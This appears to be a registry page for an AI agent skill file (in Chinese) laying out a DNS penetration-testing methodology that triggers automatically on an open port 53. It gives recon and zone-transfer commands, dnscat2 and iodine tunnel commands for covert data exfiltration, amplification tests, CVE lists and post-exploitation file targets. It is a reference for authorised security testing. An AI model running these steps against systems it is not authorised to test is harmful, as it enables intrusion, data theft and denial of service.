dns-pentesting
$
npx mdskill add wgpsec/AboutSecurity/dns-pentestingExecute DNS pentesting to enumerate records and exploit vulnerabilities.
- Automatically triggers when scanning detects open port 53.
- Integrates with dig, nslookup, dnsrecon, and nmap scripts.
- Decides actions based on service version, AXFR success, and record types.
- Delivers structured reports on subdomains, internal hosts, and tunnel evidence.
SKILL.md
.github/skills/dns-pentestingView on GitHub ↗
---
name: dns-pentesting
description: |
DNS 服务(53 端口)渗透测试方法论。涵盖 DNS 服务发现与版本识别、区域传送测试(AXFR)、子域名枚举、DNS 缓存侦察、反向查询、DNS 隧道检测、已知漏洞利用。
当 Agent 扫描发现 53 端口开放、需要枚举 DNS 记录与子域名、测试区域传送、或通过 DNS 进行数据传输时,触发此 Skill。
metadata:
tags:
- dns
- 域名解析
- 53端口
- 区域传送
- 子域名
- axfr
- dig
- nslookup
category: exploit/network-service
---
# DNS 渗透测试方法论 (53)
## 深入参考
- DNS 枚举与利用命令大全(dig / nslookup / dnsrecon / dnsenum / fierce / nmap 脚本) -> 读 [references/dns-techniques.md](references/dns-techniques.md)
---
## 整体决策树
```
发现 53 端口开放 (TCP/UDP)
├─ Phase 1: 服务发现与版本识别
│ ├─ 确定 DNS 软件与版本 (BIND / Windows DNS / dnsmasq / PowerDNS)
│ ├─ 判断是否权威服务器 (authoritative) 还是递归解析器 (recursive)
│ └─ 检查递归查询是否开放
│ ├─ 开放 -> 标记为可被滥用 (DNS 放大攻击),同时利用递归获取缓存信息
│ └─ 关闭 -> 仅可查询该服务器负责的区域
├─ Phase 2: 区域传送测试 (AXFR)
│ ├─ 成功 -> 获取完整区域记录,提取所有主机名、IP、内部域名
│ └─ 失败 -> 进入 Phase 3/4 逐步枚举
├─ Phase 3: DNS 记录枚举
│ ├─ A / AAAA / MX / NS / TXT / SOA / SRV / CNAME
│ ├─ AD 环境 SRV 记录 (_kerberos / _ldap / _gc)
│ └─ DNSSEC 记录 (DNSKEY / DS / NSEC / NSEC3)
│ └─ NSEC 遍历 -> 枚举所有域名 (未使用 NSEC3 时)
├─ Phase 4: 子域名枚举
│ ├─ 字典爆破 (dnsenum / dnsrecon / fierce / gobuster dns)
│ ├─ NSEC walking (针对 DNSSEC 签名域)
│ └─ 被动收集 (crt.sh / SecurityTrails / 不在本 skill 范围)
├─ Phase 5: 反向查询
│ ├─ PTR 记录反向解析 (目标 IP 段)
│ ├─ 发现内部主机名 -> 扩大攻击面
│ └─ 交叉验证 A 记录与 PTR 记录一致性
├─ Phase 6: DNS 隧道检测与利用
│ ├─ 检测 -> 观察异常长 TXT/NULL 查询、高频子域查询
│ └─ 利用 -> 通过 DNS 建立隐蔽数据通道 (iodine / dnscat2 / dns2tcp)
└─ Phase 7: 已知漏洞
├─ BIND 版本已知 -> 查询对应 CVE
├─ DNS 缓存投毒 (Kaminsky attack variant)
└─ DNS 递归放大 (DDoS 反射)
```
---
## Phase 1: 服务发现与版本识别
### 1.1 端口扫描与服务探测
```bash
# Nmap 基础扫描 — TCP/UDP 均需覆盖
nmap -sV -sC -p 53 <IP>
nmap -sU -sV -p 53 <IP>
# Nmap DNS 专项脚本
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
```
### 1.2 版本识别 (Banner Grabbing)
```
DNS 版本识别
├─ BIND nameserver
│ ├─ dig version.bind CHAOS TXT @<IP>
│ └─ dig version.server CHAOS TXT @<IP>
├─ fpdns 指纹工具
│ └─ fpdns -D <IP>
├─ Nmap nsid 脚本
│ └─ nmap -sU -p 53 --script dns-nsid <IP>
└─ 判断结果
├─ BIND 9.x -> 记录精确版本,查询 CVE
├─ Windows DNS -> 通常不返回版本,结合 OS 指纹推断
└─ dnsmasq / PowerDNS -> 各有特定漏洞历史
```
**关键判断**:
- 版本可查 -> 直接搜索对应 CVE,跳转 Phase 7
- BIND < 9.11 -> 多个远程漏洞
- 递归开放 -> 可用于信息收集 + 标记放大攻击风险
### 1.3 递归查询检测
```bash
# 查询外部域名 — 如果返回结果则递归开放
dig google.com A @<IP>
# 检查响应中 "ra" (recursion available) 标志
# flags: qr rd ra -> 递归可用
# flags: qr rd -> 递归不可用
```
---
## Phase 2: 区域传送测试 (AXFR)
### 2.1 区域传送决策树
```
测试区域传送
├─ 已知域名
│ ├─ dig axfr <DOMAIN> @<IP>
│ └─ 成功 -> 导出完整区域文件,提取所有记录
├─ 域名未知
│ ├─ dig axfr @<IP> (无域名尝试)
│ ├─ 通过 SOA 查询获取域名: dig SOA @<IP> <IP_range>
│ └─ 通过反向解析猜测域名
├─ fierce 自动尝试
│ └─ fierce --domain <DOMAIN> --dns-servers <IP>
│ (自动对每个权威 NS 尝试区域传送,失败后进行字典爆破)
└─ 结果处理
├─ 成功 -> 保存完整记录,提取内部 IP、主机名、邮件服务器
└─ 失败 (REFUSED / NOTAUTH) -> 配置正确,进入其他枚举方式
```
### 2.2 区域传送成功后的分析
**从区域文件中提取的高价值信息**:
- 内部主机名与 IP 映射 -> 扩大攻击面
- MX 记录 -> 邮件服务器位置
- TXT 记录 -> SPF/DKIM 配置、可能的验证令牌
- SRV 记录 -> 服务位置(AD 环境尤为重要)
- CNAME -> 外部依赖、可能的子域接管
---
## Phase 3: DNS 记录枚举
### 3.1 常用记录类型查询
```bash
# 标准记录查询
dig ANY @<IP> <DOMAIN>
dig A @<IP> <DOMAIN>
dig AAAA @<IP> <DOMAIN>
dig TXT @<IP> <DOMAIN>
dig MX @<IP> <DOMAIN>
dig NS @<IP> <DOMAIN>
dig SOA @<IP> <DOMAIN>
dig CNAME @<IP> <DOMAIN>
dig SRV @<IP> _http._tcp.<DOMAIN>
```
### 3.2 Active Directory SRV 记录
```
AD 环境 DNS 枚举
├─ 域控定位
│ ├─ dig -t SRV _gc._tcp.<DOMAIN> @<IP>
│ ├─ dig -t SRV _ldap._tcp.<DOMAIN> @<IP>
│ ├─ dig -t SRV _kerberos._tcp.<DOMAIN> @<IP>
│ └─ dig -t SRV _kpasswd._tcp.<DOMAIN> @<IP>
├─ nslookup 交互查询
│ └─ nslookup -type=srv _kerberos._tcp.<DOMAIN> <IP>
└─ Nmap SRV 枚举脚本
└─ nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='<DOMAIN>'"
```
**关键判断**:发现 AD SRV 记录 -> 确认域环境存在,联动 `ad-domain-attack` skill
### 3.3 DNSSEC 枚举
```
DNSSEC 检查
├─ 查询 DNSKEY 和 DS 记录
│ ├─ dig DNSKEY <DOMAIN> @<IP> +dnssec
│ └─ dig DS <DOMAIN> @<IP>
├─ NSEC 记录遍历 (zone walking)
│ ├─ 域使用 NSEC (非 NSEC3) -> 可枚举所有域名
│ └─ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=<DOMAIN> <IP>
└─ NSEC3 -> 哈希保护,需离线破解或放弃遍历
```
---
## Phase 4: 子域名枚举
### 4.1 字典爆破
```
子域名爆破策略
├─ dnsenum
│ └─ dnsenum --dnsserver <IP> --enum -p 0 -s 0 -o subdomains.txt -f <WORDLIST> <DOMAIN>
├─ dnsrecon
│ └─ dnsrecon -D <WORDLIST> -d <DOMAIN> -n <IP>
├─ dnscan (支持递归发现)
│ └─ dnscan -d <DOMAIN> -r -w <WORDLIST>
├─ gobuster dns 模式
│ └─ gobuster dns -d <DOMAIN> -w <WORDLIST> -r <IP>:53
└─ 字典选择
├─ 快速: subdomains-top1million-5000.txt
├─ 标准: subdomains-top1million-20000.txt
└─ 深度: subdomains-top1million-110000.txt (SecLists)
```
### 4.2 IPv6 子域名枚举
```bash
# 使用 AAAA 请求爆破 IPv6 地址
dnsdict6 -s -t <DOMAIN>
# IPv6 反向枚举
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48
```
---
## Phase 5: 反向查询
### 5.1 反向 DNS 爆破
```
反向解析策略
├─ 目标网段 PTR 扫描
│ ├─ dnsrecon -r <IP_RANGE>/24 -n <IP>
│ ├─ dig -x <TARGET_IP> @<IP>
│ └─ dig -x <TARGET_IPv6> @<IP>
├─ 内网常见段
│ ├─ dnsrecon -r 127.0.0.0/24 -n <IP>
│ └─ dnsrecon -r 127.0.1.0/24 -n <IP>
└─ 结果分析
├─ 发现内部主机名 -> 构建主机名列表用于后续枚举
└─ 发现子域 -> 将其作为 AXFR/爆破的新目标
```
**提示**:如果子域名解析到内部 IP,尝试对该域名的权威 NS 进行反向 DNS 爆破,可能暴露更多内部基础设施。
### 5.2 在线反向查询
BGP 路由信息可辅助确定目标 IP 段归属:`https://bgp.he.net/net/<IP_RANGE>#_dns`
---
## Phase 6: DNS 隧道
### 6.1 检测 DNS 隧道
```
DNS 隧道特征识别
├─ 网络层指标
│ ├─ 异常长的 DNS 查询 (>50 字节子域名)
│ ├─ 高频 TXT / NULL / CNAME 查询
│ ├─ 单一域名的超高查询量
│ └─ DNS over TCP 流量异常增多
├─ 检测工具
│ ├─ tcpdump -i <IFACE> -n port 53 (人工分析)
│ ├─ Wireshark dns 过滤器 + 统计分析
│ └─ Zeek/Bro dns.log 异常检测
└─ 判断
├─ 发现隧道 -> 分析隧道工具类型,评估数据泄露风险
└─ 未发现 -> 可自行建立隧道用于数据渗出
```
### 6.2 建立 DNS 隧道
```
DNS 隧道工具选择
├─ iodine (IP-over-DNS)
│ ├─ 需要控制一个域名的 NS 记录
│ ├─ 服务端: iodined -f -c -P <PASSWORD> 10.0.0.1 tunnel.<DOMAIN>
│ └─ 客户端: iodine -f -P <PASSWORD> tunnel.<DOMAIN>
├─ dnscat2 (命令控制通道)
│ ├─ 服务端: dnscat2-server <DOMAIN>
│ └─ 客户端: dnscat2 <DOMAIN>
└─ dns2tcp
├─ 适用于 TCP 端口转发
└─ 配置文件方式运行
```
---
## Phase 7: 已知漏洞
### 7.1 漏洞检测决策树
```
DNS 版本已知
├─ BIND 漏洞
│ ├─ CVE-2021-25216 — BIND 9.x GSS-TSIG 缓冲区溢出
│ ├─ CVE-2020-8617 — BIND 9.x TSIG 验证绕过导致 DoS
│ ├─ CVE-2017-3143 — TSIG 认证绕过允许未授权区域更新
│ ├─ CVE-2016-2776 — BIND 9.x 响应构造 DoS
│ └─ 旧版本 -> 搜索 "BIND <version> CVE"
├─ Windows DNS
│ ├─ CVE-2020-1350 (SIGRed) — Windows DNS Server RCE (CVSS 10.0)
│ │ └─ 检测: nmap -p 53 --script dns-check-zone <IP> + 版本确认
│ └─ CVE-2021-24078 — Windows DNS Server RCE
├─ dnsmasq
│ ├─ CVE-2020-25681~25687 (DNSpooq) — 缓冲区溢出 + 缓存投毒
│ └─ CVE-2017-14491 — dnsmasq 堆溢出 RCE
├─ DNS 缓存投毒
│ ├─ 检测随机 TXID: nmap --script dns-random-txid <IP>
│ ├─ 检测随机源端口: nmap --script dns-random-srcport <IP>
│ └─ 两者均弱 -> Kaminsky 攻击变体可行
└─ DNS 递归放大 (DDoS)
├─ 递归开放 + ANY 查询响应 -> 放大因子高
└─ dig ANY <LARGE_DOMAIN> @<IP> (测试放大比)
```
### 7.2 Metasploit 模块
```bash
# DNS 枚举
auxiliary/gather/enum_dns
# DNS 放大扫描
auxiliary/scanner/dns/dns_amp
```
---
## 后渗透
获得 DNS 服务器访问权限后,检查以下配置文件:
| 文件路径 | 关注内容 |
|---------|---------|
| `/etc/bind/named.conf` | allow-transfer / allow-recursion / allow-query 配置 |
| `/etc/bind/named.conf.local` | 区域定义、密钥文件路径 |
| `/etc/bind/named.conf.options` | 转发器、ACL 策略 |
| `/etc/resolv.conf` | 上游 DNS 服务器 |
| `host.conf` | 解析顺序配置 |
| `/etc/bind/named.conf.log` | 日志配置、可能泄露查询历史 |
**关键配置审计**:
- `allow-transfer { any; }` -> 区域传送未限制
- `allow-recursion { any; }` -> 递归查询对外开放
- `allow-query { any; }` -> 无查询来源限制
- TSIG 密钥文件 -> 可用于授权区域更新
---
## 邮件探测技巧
向目标域不存在的邮箱地址发送邮件,NDN(不可送达通知)回弹邮件的头部可能泄露内部服务器名称和 IP 地址。
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|